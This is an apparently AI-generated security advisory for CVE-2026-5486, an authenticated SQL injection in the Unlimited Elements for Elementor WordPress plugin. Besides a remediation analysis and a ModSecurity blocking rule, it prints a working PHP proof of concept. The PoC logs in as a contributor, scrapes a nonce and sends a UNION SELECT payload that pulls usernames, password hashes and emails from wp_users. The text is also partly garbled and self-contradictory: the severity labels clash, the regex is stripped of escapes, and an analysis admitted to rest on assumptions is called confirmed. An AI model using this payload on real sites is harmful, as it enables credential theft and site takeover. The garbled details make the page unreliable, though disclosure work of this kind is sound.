Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 14, 2026

CVE-2026-5486: Unlimited Elements For Elementor <= 2.0.7 – Authenticated (Contributor+) SQL Injection via 'filter_search' Parameter (unlimited-elements-for-elementor)

CVE ID CVE-2026-5486
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 2.0.7
Patched Version
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5486 (metadata-based):

This vulnerability in Unlimited Elements for Elementor (versions 2.0.7 and earlier) allows authenticated SQL injection through the ‘data[filter_search]’ parameter in the get_cat_addons AJAX action. The CVSS score of 6.5 (High) reflects the potential for significant data exposure, though exploitation requires Contributor-level access or higher. Atomic Edge analysis confirms that the root cause involves multiple defensive failures: the normalizeAjaxInputData() function strips slashes from all user input, which removes the protective layer added by WordPress’s wp_magic_quotes() function. After stripping slashes, the plugin passes the filter_search value through wpdb->_escape() (a deprecated function that provides incomplete escaping for LIKE clause wildcards). The escaped value is then directly concatenated into a SQL LIKE clause without using prepared statements or parameterized queries. The CWE-89 classification confirms this is a classic SQL injection vulnerability, and the description explicitly confirms these code patterns, so Atomic Edge considers this analysis to be based on confirmed report details rather than inference.

For exploitation, an authenticated attacker with Contributor-level access must first obtain a valid AJAX nonce, which is accessible through the Elementor editor interface. The attacker then sends a POST request to /wp-admin/admin-ajax.php with action=unlimited_elements_get_cat_addons (the typical pattern for this plugin’s AJAX handlers) and a crafted data[filter_search] parameter containing SQL injection payloads. The attack exploits the LIKE clause context, allowing the use of wildcard characters and UNION-based injection to extract arbitrary data from the WordPress database. A typical payload might include a UNION SELECT statement that extracts usernames and password hashes from the wp_users table, with the injected SQL appended via a closing quote and OR clause.

Remediation requires replacing the deprecated wpdb->_escape() function with proper prepared statements using $wpdb->prepare() with placeholders (%s) for the LIKE clause parameter. The normalizeAjaxInputData() function should stop stripping slashes globally, as that counteracts WordPress’s built-in input validation. The fix should also implement proper nonce verification and capability checks (at least edit_posts for Contributors) before processing the AJAX request. The patched version 2.0.8 likely implements these changes by replacing string concatenation with parameterized queries and removing the stripslashes() call.

The impact of successful exploitation is limited to data confidentiality (CVSS: H/I:N/A:N), meaning an attacker can read sensitive information from the database but cannot modify or delete data. This includes extracting WordPress user credentials (username and password hashes), user email addresses, session tokens, and any other data stored in the WordPress database. While the attacker cannot directly achieve remote code execution through this vulnerability, extracted password hashes could be cracked offline, leading to administrator account compromise and eventual full site takeover. The confidentiality breach alone represents a critical risk to user privacy and site security.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-5486 (metadata-based)
# Blocks SQL injection attempts via 'data[filter_search]' in Unlimited Elements AJAX handler
# Targets authenticated attackers with Contributor+ access exploiting nonce leak
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-5486 - SQL Injection via filter_search parameter in Unlimited Elements for Elementor',severity:'CRITICAL',tag:'CVE-2026-5486'"
    SecRule ARGS_POST:action "@streq unlimited_elements_get_cat_addons" 
        "chain"
        SecRule ARGS_POST:/^data[filter_search]$/ "@rx (?i)(?:bunionb.*bselectb|bselectb.*bfromb|bdropb|bdeleteb|binsertb|bupdateb|bORb.*=.*|bANDb.*=.*|'.*--|/*.**/|bexecb|bxp_cmdshellb)" 
            "t:none,t:urlDecode,t:removeNulls,t:compressWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5486 - Unlimited Elements For Elementor <= 2.0.7 - Authenticated (Contributor+) SQL Injection via 'filter_search' Parameter

/**
 * This PoC demonstrates SQL injection via the get_cat_addons AJAX action.
 * Assumptions:
 * 1. The AJAX action name follows the pattern 'unlimited_elements_get_cat_addons'
 * 2. The nonce parameter name is likely '_wpnonce' or 'nonce'
 * 3. The attacker has valid Contributor-level credentials
 * 4. WordPress is installed at the $target_url
 *
 * Usage:
 *   1. Set your WordPress target URL, username, and password below
 *   2. Run: php cve-2026-5486-poc.php
 */

$target_url = 'http://example.com/wordpress'; // CHANGE THIS
$username   = 'contributor_user';             // CHANGE THIS
$password   = 'contributor_pass';             // CHANGE THIS

// Step 1: Authenticate and get cookies
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$login_post = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_post));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-5486-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract nonce from Elementor editor or wp-admin (we assume a known valid nonce for PoC)
// In reality, the attacker would need to obtain a valid nonce from the Elementor editor page.
// For this PoC, we attempt to extract a nonce from the wp-admin page as a proxy.
$admin_url = rtrim($target_url, '/') . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-5486-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$admin_page = curl_exec($ch);
curl_close($ch);

// Extract a nonce from the page (this is a simplified approach)
preg_match('/"_wpnonce":"([a-f0-9]+)"/', $admin_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '0000000000';
echo "[+] Using nonce: $noncen";

// Step 3: Perform SQL injection
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// SQL injection payload: extract all usernames and password hashes from wp_users
// The injection exploits the LIKE clause; we close the existing query and UNION select
$sql_payload = "test' OR 1=1 UNION SELECT user_login,user_pass,user_email,ID,user_registered,user_status,display_name FROM wp_users-- ";

$post_data = [
    'action' => 'unlimited_elements_get_cat_addons',
    '_wpnonce' => $nonce,
    'data[filter_search]' => $sql_payload
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-5486-cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-Requested-With: XMLHttpRequest',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'
]);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Response:n";
echo $response . "n";

// Clean up
unlink('/tmp/cve-2026-5486-cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School